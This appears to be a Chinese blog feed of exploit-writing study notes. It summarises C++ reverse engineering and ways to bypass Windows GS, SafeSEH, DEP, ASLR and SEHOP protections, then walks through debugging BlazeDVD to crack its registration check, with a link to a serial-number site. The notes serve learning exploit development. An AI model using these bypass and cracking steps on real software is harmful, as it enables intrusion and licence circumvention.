<li>在返回对象函数的调用者栈空间中还会存在一个临时对象,因为如果调用者有针对返回对象的操作,而此时返对象函数已退出,其栈帧也被关闭。函数退出后去操作局部对象显然不合适,因此只能由函数的调用方准备空间,建立临时对象,然后将函数中的局部对象复制给临时对象,再把这个临时对象交给调用方去操作。</li>
<li>由于使用了临时对象进行数据复制,当临时对象被销毁时,会执行析构函数,就有可能造成同一个资源被释放的错误发生。</li>
<li>当对象作为函数的参数时,可以传递指针;当对象作为返回值时,如果对象在函数内部被定义为局部变量,则不可返回此对象的首地址引用,以避免返回已经被释放的局部变量。</li>
</ol>
<h2>10.1 构造函数的出现时机</h2>
<ol>
<li>构造函数与析构函数都是类中特殊的成员函数,构造函数支持函数重载,而析构函数只能是一个无参函数。它们不可定义返回值,调用构造函数后,返回值为对象首地址,也就是this指针。</li>
<li>将对象进行分类:不同类型对象的构造函数被调用的时机发生变化,但都会遵循C++语法:定义的同时调用构造函数。那么,只要知道了对象的生命周期,便可推断出构造函数的调用时机。</li>
<li>局部对象:构造函数的必要条件:a.该成员函数是这个对象在作用域内调用的第一个成员函数,根据this指针即可以区分每个对象;b.这个函数返回this指针。</li>
<li>堆对象:识别重点在于识别堆空间的申请与使用。申请后,在判断成功的分支跳转处可以迅速定位并得到构造函数。</li>
<li>参数对象:如果在函数调用时传递参数对象,参数会进行复制,形参是实参的副本,相当于拷贝构造了一个全新的对象。由于定义了新对象,因此会触发拷贝构造函数,在这个特殊的构造函数中完成对两个对象间数据的复制,其中包括间接访问到的资源数据,这种拷贝方式属于深拷贝,也就避免了同一资源多次释放的问题。如没有定义拷贝构造函数,编译器会对原对象与拷贝对象中的各数据成员直接进行数据复制,称为默认拷贝构造函数,这种拷贝方式属于浅拷贝。</li>
<li>返回对象:在函数返回之前,利用拷贝构造函数将函数中局部对象的数据复制到参数指向的对象中,起到了返回对象的作用。返回值和参数为对象指针类型的函数,不会使用以参数为目标的拷贝构造函数,而是直接使用指针保存对象首地址。</li>
<li>全局对象与静态对象:全局对象与静态对象的构造时机相同,它们的构造函数的调用被隐藏在深处,但识别过程很容易。由于构造函数需要传递对象的首地址作为this指针,而且构造函数可以带各类参数,因此编译器将为每个全局对象生成一段传递this指针和参数的代码,然后使用无参的代理函数去调用构造函数。</li>
</ol>
<h2>10.2 每个对象都有默认的构造函数吗</h2>
<ol>
<li>本类、本类中定义的成员对象或者父类中有虚函数存在,编译器会添加默认的构造函数用于隐式完成虚表的初始化工作。</li>
<li>父类或本类中定义的成员对象带有构造函数。父类中带有构造函数时,编译器会添加默认的构造函数来完成这个过程。</li>
<li>在其他情况下VC++ 6.0不会对类提供默认的构造函数,因为会降低程序的执行效率。</li>
</ol>
<h2>10.3 析构函数的出现时机</h2>
<ol>
<li>局部对象:作用域结束前调用析构函数。</li>
<li>堆对象:释放对空间前调用析构函数。</li>
<li>参数对象:退出函数前,调用参数对象的析构函数。</li>
<li>返回对象:如无对象引用定义,退出函数后,调用返回对象的析构函数,否则与对象引用的作用域一致。</li>
<li>全局对象与静态对象:main函数退出后调用析构函数。</li>
</ol>
<h2>11.1 虚函数的机制</h2>
<ol>
<li>对象的多态性需要通过虚表和虚表指针来完成,虚表指针被定义在对象首地址的前4字节处,因此虚函数必须作为成员函数使用。由于非成员函数没有this指针,因此无法获得虚表指针,进而无法获取虚表,也就无法访问虚函数。在类中定义了虚函数之后,如果没有提供默认的构造函数,编译器必须提供默认的构造函数,用以完成虚表指针的初始化。</li>
<li>由于虚表信息在编译后会被链接到对应的执行文件中,因此所获得的虚表地址是一个相对固定的地址。虚表中虚函数的地址的排列顺序依据虚函数在类中的声明顺序而定,先声明的虚函数的地址会被排列在虚表中靠前的位置。</li>
<li>通过虚表间接寻址访问的情况只有在使用对象的指针或者引用来调用虚函数时候才会出现。当直接使用对象调用自身的虚函数时,没有构成多态性,也就没有必要查表访问。</li>
<li>识别构造函数的充分条件是——虚表指针初始化,识别析构函数的充分条件是——写入虚表指针。所谓虚表指针初始化,是指对象原来的虚表指针位置不是有效的,初始化后才指向了正确的虚函数表;而写入虚表指针,是指对象的虚表指针可能是有效的,已经指向了正确的虚函数表,将对象的虚表指针重新赋值后,其指针可能指向了另一个虚表,其虚表的内容不一定和原来的一样(防止在析构函数中调用虚函数时取到非自身虚表,从而导致函数调用错误)。</li>
</ol>
<h2>11.2 虚函数的识别</h2>
<ol>
<li>判读是否为虚函数时,需要鉴别类中是否出现了如下特征:类中隐式定义了一个数据成员;该数据成员在首地址处,占4字节;构造函数会将此数据成员初始化为某个数组的首地址;这个地址属于数据区,是相对固定的地址;在这个数组内,每个元素都是函数指针;仔细观察这些函数内部,它们被调用时,第一个参数必然是this指针(要注意调用约定);在这些函数内部,很有可能会对this指针使用相对间接的访问方式。</li>
<li>识别虚函数,就要知道虚表的首地址,最终转变成识别构造函数或析构函数,根据特性可以区分:构造函数一定出现在析构函数之前,而且在构造函数中虚表指针没有指向虚表的首地址;而析构函数出现在所以成员函数之后,在实现过程中,虚表指针已经指向了某一个虚表的首地址。</li>
<li>由于构造函数可以被重载,分析起来相对复杂,因此可以先从任何一个构造函数或者析构函数入手,找到虚表的操作部分,使用IDA的交叉参考找到所有对此虚表指针有修改的函数的地址,除析构函数的地址外,剩余的就是构造函数。</li>
</ol>
<h1>0x02 安全机制绕过思路总结</h1>
<h2>绕过GS</h2>
<ol>
<li>利用未被保护的缓冲区:从GS机制本身,寻找程序内没有GS的利用点。</li>
<li>直接获取GS Cookie的值:Cookie是静态的,或者直接预测计算出cookie的值可能比较少见,也可以考虑信息泄露。</li>
<li>同时替换栈中和.data中Cookie的值:需要一个任意地址写才能达到一个替换的效果,通常会考虑寻找<code class="language-plaintext highlighter-rouge">mov dword ptr[reg1], reg2</code>这样的write4 gadget。</li>
<li>攻击异常处理:通过系统特性绕过,触发异常转就换成基于SEH的漏洞利用,一般是把栈打满,但也要考虑绕过safeSEH的保护。</li>
<li>攻击虚函数:通过程序特性绕过,核心是虚表指针保存在栈上,栈溢出后即可控制虚表地址,一般会将其指向我们源输入的相关地址,也就控制了虚表中保存的虚函数地址,调用虚函数即可劫持eip。</li>
</ol>
<h2>绕过SafeSEH</h2>
<ol>
<li>攻击返回地址:当然需要绕过GS。</li>
<li>利用虚函数。</li>
<li>从堆中绕过:利用安全校验的缺陷,如果SEH的异常处理函数指针指向堆区,最终还是会跳转执行,但可能需要预测堆地址。</li>
<li>利用未启用SafeSEH模块中的跳转指令地址:一般会寻找程序自带模块中的<code class="language-plaintext highlighter-rouge">pop pop ret</code>指令。</li>
<li>利用加载模块之外的跳转指令地址:一般会寻找<code class="language-plaintext highlighter-rouge">call dword ptr[esp+nn] / jmp dword ptr[esp+nn] / call dword ptr[ebp+nn] / jmp dword ptr[ebp+nn] / call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn]</code>这样的指令,其中的nn会是<code class="language-plaintext highlighter-rouge">esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18</code>。</li>
</ol>
<p>基于SEH的漏洞利用关键点之一是异常处理函数地址的选择,如果地址中包含<code class="language-plaintext highlighter-rouge">\x00</code>,那就考虑在nseh中回跳而且依旧能够触发异常。原文中也提到一种绕过方法,将异常处理函数覆盖为registered handler,在handler中不会破坏shellcode还会劫持eip,但这种情况很少发生。</p>
<h2>绕过DEP</h2>
<ol>
<li>利用可执行内存:构造ROP链,使用memcpy将shellcode拷贝至可执行内存处,然后跳转至shellcode执行。因为传递的参数中可能存在<code class="language-plaintext highlighter-rouge">\x00</code>,要考虑漏洞处<code class="language-plaintext highlighter-rouge">strcpy</code>截断的问题。同时在rop构造过程中可使用<code class="language-plaintext highlighter-rouge">push esp; jmp eax</code>的gadget,将esp压栈作为参数之一,eax中保存着<code class="language-plaintext highlighter-rouge">pop pop ret</code>等构链指令。</li>
<li>Ret2Libc之利用ZwSetInformationProcess:直接关闭进程的DEP,若想规避传参过程中被空字节截断的缺点,可以利用ntdll中现成的代码关闭DEP,利用过程中需要大致知道关闭DEP的过程,并事前用ROP调节好关键寄存器的值(如eax、esp、ebp),不同操作系统的关闭代码的逻辑和地址是不同的,可借助漏洞利用的插件寻找(如OllyFindAddr、mona)。</li>
<li>Ret2Libc之利用VirtualProtect:修改指定内存为可执行状态(如栈地址)。</li>
<li>Ret2Libc之利用VirtualAlloc:构造ROP分配可执行内存,拷贝shellcode至该内存,最后跳转执行shellcode。</li>
</ol>
<p>原文中还提到了一种基于SEH的绕过方式,触发SEH就以为着可以控制eip,将handler覆盖为<code class="language-plaintext highlighter-rouge">pop pop pop esp ret</code>的地址(因为可能栈被打满),控制了esp也就可以继续后面的rop操作。</p>
<h2>绕过ASLR</h2>
<ol>
<li>攻击未启用ASLR的模块。</li>
<li>利用部分覆盖进行定位内存地址:映像随机化只是对映像加载基址的前2个字节做随机化处理,借助off by one的思想,覆盖后2位字节为范围内的跳转指令地址。</li>
<li>利用Heap spray技术定位内存地址:通过申请大量的内存,占领内存中的0x0C0C0C0C的位置,并在这些内存中放置0x90和shellcode,最后控制程序转入0x0C0C0C0C执行。</li>
</ol>
<p>原文还提到过预测和爆破地址的方法,当然利用信息泄露也是比较常见的。</p>
<h2>绕过SEHOP</h2>
<ol>
<li>攻击返回地址和虚函数:不是SEHOP的保护面,另寻蹊径地绕过了。</li>
<li>利用未启用SEHOP的模块:虽然微软没有在编译器中提供这个选项,但出于兼容性的考虑,操作系统会根据PE头中MajorLinkerVersion和MinorLinkerVersion两个选项来判断是否为程序禁用SEHOP。</li>
<li>伪造SEH链表:nseh中保存的地址必须指向当前栈中,而且必须能被4整除;终极异常处理函数的地址还会受到ASLR的影响;突破SEHOP后还需要考虑绕过SafeSEH。</li>
</ol>
<p>值得一提的是,SEHOP在Windows Server 2008默认启用,而在Windows Vista和Windows 7中SEHOP默认是关闭的。</p>
<h1>0x03 总结</h1>
<p>最近发生的一些事情,可能我目光短浅,总是在想为什么没有看到当代鲁迅的文章。我们被中学教育出来,在大学里浪漫一阵子就出溜一下子被扔到社会里,是非黑白错乱并不像题目的答案那么简单,最愚蠢的便是看着看着他人的言论思维就被带走了,还是先从自省与独思开始吧。</p>
<p>效率依然低下俨如咸鱼,真的不要做白日梦呀,稳扎稳打才能战胜自我夺冠归来。</p>
Larryxi
0x00 环境搭建 鲁迅说:人生最大的痛苦是梦醒了无路可走。Part6直接上来了一个满汉全席,介绍了Windows平台上的保护机制和绕过方法(没有涉及堆上的东西),也有安全机制的原理的介绍,虽然没有《0day》中的细致,但在绕过利用中的思路和缘由的介绍还是很清晰的,可以相互参看理解。本文结合《C++反汇编与逆向技术技术解密》中类的逆向知识一并做了个总结。
Learn Corelan Exploit Writing Part 5
2018-08-19T00:00:00+00:00
2018-08-19T00:00:00+00:00
https://larryxi.github.io/2018/08/19/learn-corelan-exploit-writing-part-five
<h1>0x00 环境搭建</h1>
<p><a href="https://www.corelan.be/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/">Part4</a>主要是利用msf框架来完成exploit模块,用的例子也是做吐的socket接数据strcpy至栈上造成溢出,感兴趣的同学可以参看<a href="https://www.offensive-security.com/metasploit-unleashed/exploit-development/">Exploit Development in the Metasploit Framework</a>。所以会主要过一遍<a href="https://www.corelan.be/index.php/2009/09/05/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development/">Part5</a>的内容,还是以一个实际的漏洞来介绍工具的使用加速漏洞利用的过程,<a href="https://github.com/rapid7/metasploit-framework/tree/master/external/source/byakugan">Byakugan</a>很长时间没有更新了,本文则以Immunity Debugger为主。</p>
<!-- more -->
<p>懂得漏洞利用的原理,相信用什么工具都是触类旁通的,本文还是会逆向处漏洞点,最基础地过一遍漏洞利用,其中有个逆向破解的小插曲,最后才是工具的熟悉过程。</p>
<h1>0x01 逆向破解</h1>
<p>原文的漏洞软件是BlazeDVD 5.1 Professional,我本地的环境还是未开安全机制的win7 x86 en,程序安装后再使用任何功能的时都需要注册或购买才能使用,也就是说我们需要对该软件进行逆向破解才能继续下去。想到的解决方案自然有两点:</p>
<ol>
<li>自己对软件进行逆向破解。</li>
<li>寻找网上现有的注册码或者破解版软件。</li>
</ol>
<p>如果我们的主要目标在于漏洞利用,那么对于逆向过程就不应该花过多时间,Google也可以轻松搜到该软件的<a href="https://www.findserialnumber.net/blazedvd-professional-5-1-0-3-serial-number-keygen-6359ce0c.html#">序列号</a>。但是,重点来了,在一个闲适的周末偶然看到了大佬关于逆向工程理解的<a href="https://lichao890427.github.io/2014/11/08/my-journey-of-reverse-engineering/">博客</a>,虽然我对逆向工程略懂皮毛,针对于10年前的小软件的破解自认为还是可以轻松解决的,也就有了此次软件逆向破解的过程。</p>
<p>先来理一下软件判正常启动使用的过程:</p>
<ol>
<li>管理员权限运行安装软件后,一路next即可完成安装然后启动该软件。</li>
<li>启动过程中会弹出窗A,其中有<code class="language-plaintext highlighter-rouge">Register!</code>,<code class="language-plaintext highlighter-rouge">Buy Now</code>,<code class="language-plaintext highlighter-rouge">Later</code>和<code class="language-plaintext highlighter-rouge">Help</code>按钮。</li>
<li>如果选择注册则会弹出窗B,其中需要填入<code class="language-plaintext highlighter-rouge">User Name</code>,<code class="language-plaintext highlighter-rouge">E-mail</code>和<code class="language-plaintext highlighter-rouge">Serial Number</code>三个选项,然后点击窗B的<code class="language-plaintext highlighter-rouge">Register!</code>按钮即可进入注册判断流程。(email需要对应格式,而且三个输入点好像也不存在溢出)</li>
<li>如果注册失败则会弹出窗C,显示<code class="language-plaintext highlighter-rouge">Invalid registration info.</code>,这个MessageBox函数我还是认识的。</li>
<li>在窗B中Later掉还是可以进入软件,但在使用任何功能(包括漏洞触发点)和关闭时依旧会弹出窗B;根据文档,在播放器面板右键选择<code class="language-plaintext highlighter-rouge">Purchase & Register</code>也可以调出窗B。</li>
</ol>
<p>根据流程大致可以推理出软件判断注册与否的过程:</p>
<ol>
<li>根据输入的三个字段判断是否注册成功,当然也要考虑是本地校验还是远程校验。</li>
<li>根据判断结果弹框提示注册成功与否。</li>
<li>将注册的结果写入内存或某个配置文件中。</li>
<li>当使用软件任何功能时,会先判断是否注册过,再决定使用调用该功能。</li>
</ol>
<p>其中要重点关注的两个问题是:1.上文中的2、3点的顺序性无法保证;2.上文中第3点写入的内容也无法保证,写入的是一个True值还是注册相关的信息。这些问题都会影响到patch点的选择。</p>
<p>针对这种有序列号的软件的破解大致有两种方法:1.逆向序列号的校验算法逆推出合理的序列号;2.直接patch程序某处导致软件校验成功。首当其冲的便是要逆向处注册的过程,这样整个注册的上下文就会清晰一点。</p>
<p>当然逆向也大致分正向拿头逆和反向在关键处下断点,如果你自信满满地打开主程序<code class="language-plaintext highlighter-rouge">BlazeDVD.exe</code>,你会发现这个程序是加密的,其在运行过程中才会自解密再跳转执行,这样跟下去那可是到猴年马月了。所以根据经验,现在<a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-messageboxa">MessageBoxA</a>处下断点,注册失败看看能不能触发断点:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(378.760): Break instruction exception - code 80000003 (first chance)
eax=7ffdc000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=0646ff5c ebp=0646ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:004> bp user32!MessageBoxA
0:004> bl
0 e 77d6ea11 0001 (0001) 0:**** USER32!MessageBoxA
0:004> g
Breakpoint 0 hit
eax=0012c0b0 ebx=0012dd68 ecx=0018037e edx=0012d24f esi=0012dd68 edi=0012d634
eip=77d6ea11 esp=0012bf54 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
USER32!MessageBoxA:
77d6ea11 8bff mov edi,edi
0:000> kv
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll -
ChildEBP RetAddr Args to Child
0012bf50 6032774f 0018037e 0012d234 0012c0b0 USER32!MessageBoxA (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
00000000 00000000 00000000 00000000 00000000 Configuration!DllCreateObject+0x1eaaf
0:000> bp 60327750
0:000> g
Breakpoint 1 hit
eax=00000001 ebx=0012dd68 ecx=0000001e edx=0000001d esi=6034880b edi=0012d634
eip=60327750 esp=0012bf6c ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Configuration!DllCreateObject+0x1eab0:
60327750 c20c00 ret 0Ch
0:000> dd esp L1
0012bf6c 6031495d
</code></pre></div></div>
<p>栈帧回溯一如既往地不靠谱,手动查看返回地址结合IDA,可以定位窗B的对应函数为Configuration.dll中的<code class="language-plaintext highlighter-rouge">sub_60314260</code>函数,查看字符串的交叉引用,也可以定位窗口A的对应函数为<code class="language-plaintext highlighter-rouge">sub_60313AC0</code>,提示成功的消息为<code class="language-plaintext highlighter-rouge">Thank you for Registering <%APPNAME%>, please relaunch to enjoy the unlocked <%APPNAME%>.</code>,对应的函数则为<code class="language-plaintext highlighter-rouge">sub_603054E0</code>。</p>
<p>因为我们之前已经搜索到了可以成功注册的序列号,逆向窗口B的处理函数,加上<code class="language-plaintext highlighter-rouge">r eip=xxxxxxxx</code>跳转执行可以确定以下几点:</p>
<ol>
<li>注册过程是在本地校验的。</li>
<li>校验成功后会写入配置文件。</li>
<li>写完配置文件后才会出现注册成功的弹框。</li>
</ol>
<p>观察窗B函数的流程图,如果注册成功肯定会进入<code class="language-plaintext highlighter-rouge">60314A32</code>往下的逻辑,比如在<code class="language-plaintext highlighter-rouge">60314B26</code>处动态调用了函数指针看似想在配置文件中写入信息:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:60314B10 ; 346: (*(void (__stdcall **)(_DWORD, wchar_t *, wchar_t *, CHAR *, _DWORD))(*(_DWORD *)v33[52] + 36))(
.text:60314B10 ; 347: v33[52],
.text:60314B10 ; 348: aConfig,
.text:60314B10 ; 349: aRegisterinfo2_0,
.text:60314B10 ; 350: v30,
.text:60314B10 ; 351: 0);
.text:60314B10 mov eax, [ebx+0D0h]
.text:60314B16 push 0
.text:60314B18 push edi ; p_w_serial
.text:60314B19 push offset aRegisterinfo2_0 ; "RegisterInfo2"
.text:60314B1E mov edx, [eax]
.text:60314B20 push offset aConfig ; "Config"
.text:60314B25 push eax
.text:60314B26 call dword ptr [edx
</code></pre></div></div>
<p>下断点可以跟踪一下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(580.f0c): Break instruction exception - code 80000003 (first chance)
eax=7ffdd000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=0646ff5c ebp=0646ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:004> bp 60314B26
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll -
0:004> g
Breakpoint 0 hit
eax=02610680 ebx=0012dd68 ecx=0012d634 edx=67009180 esi=00329dc4 edi=00329d4c
eip=60314b26 esp=0012bf68 ebp=002f98ec iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
Configuration!DllCreateObject+0xbe86:
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\VersionInfo.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\VersionInfo.dll -
60314b26 ff5224 call dword ptr [edx+24h] ds:0023:670091a4=670015ee
0:000> dd esp L5
0012bf68 02610680 6033e0d0 6034741c 00329d4c
0012bf78 00000000
0:000> db 00329d4c L20
00329d4c 34 00 45 00 4a 00 4c 00-58 00 45 00 43 00 51 00 4.E.J.L.X.E.C.Q.
00329d5c 47 00 34 00 56 00 00 00-01 00 00 00 5e e5 43 1f G.4.V.......^.C.
0:000> !address 670015ee
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 67000000
Base Address: 67001000
End Address: 67009000
Region Size: 00008000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
More info: lmv m VersionInfo
More info: !lmi VersionInfo
More info: ln 0x670015ee
</code></pre></div></div>
<p>可以看到动态调用的是VersionInfo.dll中的sub_670015EE函数,该函数对写入配置文件的函数<a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-writeprivateprofilestringa">WritePrivateProfileStringA</a>(因为安装路径的原因需要管理员权限)进行了包装:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__stdcall</span> <span class="nf">sub_670015EE</span><span class="p">(</span><span class="n">LPCSTR</span> <span class="n">a1</span><span class="p">,</span> <span class="n">LPCWSTR</span> <span class="n">lpString</span><span class="p">,</span> <span class="n">LPCWSTR</span> <span class="n">lpWideCharStr</span><span class="p">,</span> <span class="n">LPCWSTR</span> <span class="n">a4</span><span class="p">,</span> <span class="n">LPCSTR</span> <span class="n">lpAppName</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">//......</span>
<span class="n">v8</span> <span class="o">=</span> <span class="n">lstrlenW</span><span class="p">(</span><span class="n">lpString</span><span class="p">);</span>
<span class="n">v9</span> <span class="o">=</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">v8</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">v10</span> <span class="o">=</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">v8</span> <span class="o">+</span> <span class="mi">5</span><span class="p">;</span>
<span class="n">LOBYTE</span><span class="p">(</span><span class="n">v10</span><span class="p">)</span> <span class="o">=</span> <span class="n">v10</span> <span class="o">&</span> <span class="mh">0xFC</span><span class="p">;</span>
<span class="n">v11</span> <span class="o">=</span> <span class="n">alloca</span><span class="p">(</span><span class="n">v10</span><span class="p">);</span>
<span class="n">lpAppName</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">;</span>
<span class="n">LOBYTE</span><span class="p">(</span><span class="n">v15</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">WideCharToMultiByte</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">lpString</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="n">LPSTR</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">,</span> <span class="n">v9</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">v12</span> <span class="o">=</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">lstrlenW</span><span class="p">(</span><span class="n">lpWideCharStr</span><span class="p">)</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">lpString</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="n">v12</span><span class="p">;</span>
<span class="n">v12</span> <span class="o">+=</span> <span class="mi">3</span><span class="p">;</span>
<span class="n">LOBYTE</span><span class="p">(</span><span class="n">v12</span><span class="p">)</span> <span class="o">=</span> <span class="n">v12</span> <span class="o">&</span> <span class="mh">0xFC</span><span class="p">;</span>
<span class="n">v13</span> <span class="o">=</span> <span class="n">alloca</span><span class="p">(</span><span class="n">v12</span><span class="p">);</span>
<span class="n">LOBYTE</span><span class="p">(</span><span class="n">v15</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">WideCharToMultiByte</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">lpWideCharStr</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="n">LPSTR</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">lpString</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">WritePrivateProfileStringA</span><span class="p">(</span><span class="n">lpAppName</span><span class="p">,</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">,</span> <span class="n">a1</span><span class="p">,</span> <span class="n">lpFileName</span><span class="p">);</span>
<span class="nl">LABEL_10:</span>
<span class="n">v18</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="n">sub_67001CF9</span><span class="p">(</span><span class="o">&</span><span class="n">a1</span><span class="p">);</span>
<span class="k">return</span> <span class="n">v5</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">2147024809</span><span class="p">;</span>
<span class="err">}</span>
</code></pre></div></div>
<p>下断点看看向什么文件写了些什么内容:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> bp 670016CA
0:000> g
Breakpoint 1 hit
eax=0000000e ebx=00000000 ecx=0012bf22 edx=60347438 esi=0012bf14 edi=77e3450e
eip=670016ca esp=0012bf04 ebp=0012bf60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VersionInfo+0x16ca:
670016ca ff1514900067 call dword ptr [VersionInfo!Ordinal1+0x68e1 (67009014)] ds:0023:67009014={kernel32!WritePrivateProfileStringA (77e3d763)}
0:000> dd esp L4
0012bf04 0012bf30 0012bf14 026100ec 02610684
0:000> db 0012bf30 L20
0012bf30 43 6f 6e 66 69 67 00 0d-ba 71 ce 0d 7d 16 00 67 Config...q..}..g
0012bf40 4c 9d 32 00 c4 9d 32 00-68 dd 12 00 84 06 61 02 L.2...2.h.....a.
0:000> db 0012bf14 L20
0012bf14 52 65 67 69 73 74 65 72-49 6e 66 6f 32 00 ff ff RegisterInfo2...
0012bf24 ba 71 ce 0d ba 71 ce 0d-ad 16 00 67 43 6f 6e 66 .q...q.....gConf
0:000> db 026100ec
026100ec 33 34 66 31 32 32 35 30-38 38 63 31 37 62 62 64 34f1225088c17bbd
026100fc 65 37 36 30 35 65 39 63-35 30 30 34 66 38 61 63 e7605e9c5004f8ac
0261010c 36 30 64 34 38 38 37 63-33 30 65 34 35 38 30 63 60d4887c30e4580c
0261011c 63 30 62 34 36 38 64 63-39 30 34 34 33 38 65 63 c0b468dc904438ec
0261012c 61 30 31 34 63 38 62 63-37 30 32 34 39 38 34 63 a014c8bc7024984c
0261013c 30 30 66 34 61 38 31 63-64 30 38 34 37 38 32 63 00f4a81cd084782c
0261014c 65 30 35 34 30 38 66 63-62 30 36 34 64 38 38 63 e05408fcb064d88c
0261015c 34 30 33 34 65 38 35 63-31 30 63 34 62 38 36 63 4034e85c10c4b86c
0:000> db 02610684
02610684 43 3a 5c 50 72 6f 67 72-61 6d 44 61 74 61 5c 42 C:\ProgramData\B
02610694 6c 61 7a 65 56 69 64 65-6f 5c 42 6c 61 7a 65 44 lazeVideo\BlazeD
026106a4 56 44 20 35 2e 31 20 50-72 6f 66 65 73 73 69 6f VD 5.1 Professio
026106b4 6e 61 6c 5c 62 6c 61 7a-65 64 76 64 2e 64 6c 6c nal\blazedvd.dll
026106c4 00 30 34 34 33 38 65 63-61 30 31 34 63 38 62 63 .04438eca014c8bc
026106d4 37 30 32 34 39 38 34 63-30 30 66 34 61 38 31 63 7024984c00f4a81c
026106e4 64 30 38 34 37 38 32 63-65 30 35 34 30 38 66 63 d084782ce05408fc
026106f4 62 30 36 34 64 38 38 63-34 30 33 34 65 38 35 63 b064d88c4034e85c
</code></pre></div></div>
<p>其会向<code class="language-plaintext highlighter-rouge">C:\ProgramData\BlazeVideo\BlazeDVD 5.1 Professional\blazedvd.dll</code>中写入相关配置信息,而且写入的内容是warpper函数经过编码或加密后的结果。在逆向过程中也可以发现<code class="language-plaintext highlighter-rouge">Configuration! sub_60314260</code>中会获取配置文件中的信息,辅助验证过程。Wapper函数内部调用的则是<a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-getprivateprofilestring">GetPrivateProfileStringA</a>函数:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:60314705 ; 235: if ( (*(int (__stdcall **)(int, wchar_t *, wchar_t *, BSTR *, _DWORD))(v11 + 32))(
.text:60314705 ; 236: v12,
.text:60314705 ; 237: aVersioninfo,
.text:60314705 ; 238: aKey3,
.text:60314705 ; 239: &bstrString,
.text:60314705 ; 240: 0) < 0 )
.text:60314705 lea ecx, [esp+16C4h+bstrString]
.text:60314709 push ebp
.text:6031470A push ecx
.text:6031470B ; 232: v11 = *(_DWORD *)v3[52];
.text:6031470B mov edx, [eax]
.text:6031470D push offset aKey3 ; "Key3"
